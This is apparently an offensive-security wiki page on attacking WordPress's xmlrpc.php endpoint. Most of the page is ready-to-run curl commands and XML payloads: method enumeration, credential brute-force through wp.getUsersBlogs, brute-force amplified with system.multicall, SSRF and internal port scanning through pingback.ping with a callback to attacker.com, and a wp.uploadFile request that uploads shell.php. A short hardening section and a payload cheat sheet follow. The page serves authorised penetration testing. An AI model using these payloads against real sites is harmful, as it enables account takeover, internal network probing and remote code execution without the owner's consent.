Skip to content

XML-RPC Abuse

WordPress’s xmlrpc.php is an XML-RPC API endpoint that predates the modern REST API but is still enabled on most installs because many plugins (Jetpack, WordPress mobile apps, Akismet, IFTTT integrations) depend on it. From an operator perspective, xmlrpc.php offers four primitives that wp-login.php doesn’t:

# 1. Enumerate the available methods
curl -sX POST -d '<?xml version="1.0"?>
<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>' \
http://target/xmlrpc.php
# 2. Brute-force credentials (no CAPTCHA, no rate limit by default)
curl -sX POST -d '<?xml version="1.0"?>
<methodCall><methodName>wp.getUsersBlogs</methodName>
<params><param><value>admin</value></param><param><value>password</value></param></params>
</methodCall>' \
http://target/xmlrpc.php
# 3. Amplify brute-force via system.multicall (1 HTTP request = many login attempts)
curl -sX POST -d '<?xml version="1.0"?>
<methodCall><methodName>system.multicall</methodName>...</methodCall>' \
http://target/xmlrpc.php
# 4. SSRF via pingback.ping - make WordPress connect to an arbitrary URL
curl -sX POST -d '<?xml version="1.0"?>
<methodCall><methodName>pingback.ping</methodName>
<params><param><value>http://internal-host:8080/</value></param>
<param><value>http://target/?p=1</value></param></params>
</methodCall>' \
http://target/xmlrpc.php

Success indicator: system.listMethods returns the method list (confirms XML-RPC enabled); wp.getUsersBlogs with valid creds returns an isAdmin struct; pingback.ping makes an outbound connection visible in your callback listener.

XML-RPC is enabled by default on a fresh WordPress install. Check with a simple GET:

Terminal window
curl -sI http://target/xmlrpc.php
HTTP/1.1 405 Method Not Allowed
Allow: POST
Server: Apache/2.4.41

405 with Allow: POST confirms the endpoint exists and only accepts POST. A 404 means it’s been deleted or rewritten away - some hardening guides recommend this.

A 403 means a security plugin or web server rule is blocking access. Wordfence has an “Disable XML-RPC” option that returns 403; iThemes Security similarly.

When XML-RPC is reachable, every method described below works without authentication for the method-discovery step; methods that need credentials enforce them per-method.

The system.listMethods method returns every XML-RPC method the server exposes:

Terminal window
curl -sX POST -d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>' http://target/xmlrpc.php
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
<value><string>mt.getRecentPostTitles</string></value>
<value><string>mt.getCategoryList</string></value>
<value><string>mt.getPostCategories</string></value>
<value><string>mt.setPostCategories</string></value>
<value><string>mt.supportedMethods</string></value>
<value><string>mt.supportedTextFilters</string></value>
<value><string>mt.getTrackbackPings</string></value>
<value><string>metaWeblog.newPost</string></value>
<value><string>metaWeblog.editPost</string></value>
<value><string>metaWeblog.getPost</string></value>
<value><string>metaWeblog.getRecentPosts</string></value>
<value><string>metaWeblog.getCategories</string></value>
<value><string>metaWeblog.newMediaObject</string></value>
<value><string>blogger.newPost</string></value>
<value><string>blogger.editPost</string></value>
<value><string>blogger.deletePost</string></value>
<value><string>blogger.getUsersBlogs</string></value>
<value><string>blogger.getUserInfo</string></value>
<value><string>wp.getUsersBlogs</string></value>
<value><string>wp.newPost</string></value>
<value><string>wp.editPost</string></value>
<value><string>wp.deletePost</string></value>
<value><string>wp.getPosts</string></value>
<value><string>wp.uploadFile</string></value>
...
</data>
</array>
</value>
</param>
</params>
</methodResponse>

The method count varies (~70 in core WordPress; plugins like Jetpack add more). Methods worth recognizing:

MethodWhat it doesNotes
system.listMethodsLists all methodsNo auth
system.multicallBundle multiple method calls in one HTTP requestNo auth wrapper; per-call auth applies
pingback.pingSend a pingback notificationNo auth → SSRF
pingback.extensions.getPingbacksList pingbacks for a URLSometimes leaks internal post info
wp.getUsersBlogsReturns the blogs a user has access toCredential validation primitive
wp.getPostsGet posts (with optional auth)Sometimes reveals draft posts
wp.uploadFileUpload mediaAuthor-or-above role required → file upload attack surface
wp.newPost / wp.editPostCreate/edit postsAuthor-or-above
metaWeblog.newMediaObjectAlternate uploadAuthor-or-above

The classic XML-RPC brute-force uses wp.getUsersBlogs. The method takes a username and password and returns the blogs the user has access to (or an error if creds are wrong).

Terminal window
curl -sX POST -d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>CorrectPassword</value></param>
</params>
</methodCall>' http://target/xmlrpc.php

Successful response:

<methodResponse>
<params>
<param>
<value>
<array>
<data>
<value>
<struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>http://target/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>InlaneFreight</string></value></member>
<member><name>xmlrpc</name><value><string>http://target/xmlrpc.php</string></value></member>
</struct>
</value>
</data>
</array>
</value>
</param>
</params>
</methodResponse>

Failed response (wrong credentials):

<methodResponse>
<fault>
<value>
<struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct>
</value>
</fault>
</methodResponse>

The differential is clear: response contains <isAdmin> → success; response contains <faultCode>403</faultCode> → fail.

Why this matters vs. wp-login.php brute-force

Section titled “Why this matters vs. wp-login.php brute-force”
  • No CAPTCHA. wp-login.php can have CAPTCHA via plugins; xmlrpc.php typically doesn’t.
  • No CSRF token. wp-login.php may require a nonce; xmlrpc.php doesn’t.
  • Sometimes no rate limiting. Many security plugins (especially older versions) protect wp-login.php but ignore xmlrpc.php. Hardening evolution has closed this gap somewhat but it’s still common in older installs.
  • isAdmin field tells you about role privilege immediately. Authors and editors will succeed too - useful for finding any-role-with-some-access accounts.

WPScan uses this method when --password-attack xmlrpc is selected - see Login brute-force.

system.multicall accepts an array of method calls and executes them in a single HTTP request:

<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param>
<value>
<array>
<data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value>
<array><data>
<value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value>
</data></array>
</value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value>
<array><data>
<value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value>
</data></array>
</value></member>
</struct></value>
<!-- repeat for many passwords -->
</data>
</array>
</value>
</param>
</params>
</methodCall>

Each inner struct is one method call. The server processes them sequentially and returns an array of results.

Operational impact: one HTTP request can contain ~hundreds of brute-force attempts. From a defender’s perspective looking at HTTP request rate, it’s a single request - much harder to rate-limit than 100 separate POSTs to wp-login.php. WordPress added a limit (~150 calls per multicall) in 4.4 but many installs run older versions.

The response is a long XML array. Parsing it for successes:

Terminal window
# Extract just the successful (isAdmin) responses
curl -sX POST -d "@multicall_payload.xml" http://target/xmlrpc.php \
| grep -B1 -A20 'isAdmin' \
| grep -E '<string>password|<boolean>1'

The pingback.ping method is intended to notify a third-party blog that you’ve linked to one of its posts. It takes two arguments: the source URL (your blog post) and the target URL (the post you linked to).

What it actually does on the server side: WordPress fetches the source URL via HTTP to verify the link exists. The source URL can be anywhere - including internal hosts the target server can reach but you can’t.

Terminal window
curl -sX POST -d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://attacker.com/callback</string></value></param>
<param><value><string>http://target/?p=1</string></value></param>
</params>
</methodCall>' http://target/xmlrpc.php

If attacker.com/callback receives an inbound HTTP request shortly afterward, the SSRF works. The User-Agent will be WordPress/X.Y.Z; http://target/... - clearly identifies it.

Replace the source URL with internal addresses:

Terminal window
# Probe an internal web service
curl -sX POST -d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://10.0.0.5:8080/admin</string></value></param>
<param><value><string>http://target/?p=1</string></value></param>
</params>
</methodCall>' http://target/xmlrpc.php

Response patterns (in the faultString field):

Fault contentWhat it means
The source URL does not contain a link to the target URLInternal host returned content but no link → host is up, port is open, returns content
is not a valid URLMalformed URL on your end
couldn't open (or similar timeout)Connection refused or timeout → port closed or filtered
Pingback already registeredThe pingback already fired once (you’ll get this on retries)

The differential between “fetched something” and “couldn’t fetch anything” is the port-scan oracle.

WordPress disabled the source-port discovery aspect of pingback but the URL-fetch behavior remains intact because it’s required for legitimate pingback functionality. Mitigations exist:

  • WordPress 3.5.1 added Akismet integration that filters pingbacks
  • Hosting providers sometimes filter outbound HTTP from WordPress
  • Plugins like Wordfence can disable pingback.ping specifically

When pingback SSRF is alive, it’s a useful internal-network probe. See the SSRF cluster for the broader context on SSRF primitives.

Multiple WordPress sites with pingback.ping open can be coerced into hammering a third-party target - many sources, one victim. Historically used in DDoS amplification.

This is out of scope for offensive pentest work (DoS testing requires explicit permission and is rarely useful for defensive value), but it’s the reason WordPress.com disabled pingbacks across the board in 2014 and the reason hardening guides recommend disabling them.

wp.uploadFile - authenticated arbitrary upload

Section titled “wp.uploadFile - authenticated arbitrary upload”

Once you have credentials (any role above Subscriber), this method uploads a file to wp-content/uploads/:

<?xml version="1.0"?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param> <!-- blog_id -->
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member><name>name</name><value><string>shell.php</string></value></member>
<member><name>type</name><value><string>image/png</string></value></member>
<member><name>bits</name><value><base64>BASE64_ENCODED_PHP_HERE</base64></value></member>
<member><name>overwrite</name><value><boolean>0</boolean></value></member>
</struct>
</value>
</param>
</params>
</methodCall>

WordPress validates name extensions against a whitelist; .php is rejected. But the validation has historically had bypass techniques (double extensions, null byte injection in old WP, custom upload-handler plugins that don’t validate). See the file upload cluster for bypass techniques.

When wp.uploadFile is reachable with author-level credentials, it’s an Author → RCE path that doesn’t require the admin theme editor.

metaWeblog.newPost - authenticated post creation

Section titled “metaWeblog.newPost - authenticated post creation”

Lets you create posts as the authenticated user. Less directly useful for RCE but useful for:

  • Posting content that triggers stored XSS to other users
  • Embedding shortcodes that execute server-side code (if a vulnerable plugin registers such a shortcode)

WordPress lets admins disable XML-RPC. Common approaches:

  1. Block the endpoint at the web server level - .htaccess or nginx rule denying xmlrpc.php
  2. Disable XML-RPC via plugin - Wordfence, iThemes Security, “Disable XML-RPC” plugin
  3. Filter specific methods - xmlrpc_methods WordPress filter removes individual methods (e.g., pingback.ping) while leaving others

When XML-RPC returns 403/404, fall back to wp-login.php for brute-force and to other SSRF primitives for internal probes.

TaskBody of POST to xmlrpc.php
Check endpointcurl -sI http://target/xmlrpc.php (expect 405 with Allow: POST)
List all methods<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>
Test credentials<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>USER</value></param><param><value>PASS</value></param></params></methodCall>
Amplified brute-force<methodCall><methodName>system.multicall</methodName>...</methodCall> with N wp.getUsersBlogs structs
SSRF / port probe<methodCall><methodName>pingback.ping</methodName><params><param><value>http://INTERNAL/</value></param><param><value>http://target/?p=1</value></param></params></methodCall>
Authenticated upload<methodCall><methodName>wp.uploadFile</methodName>...</methodCall>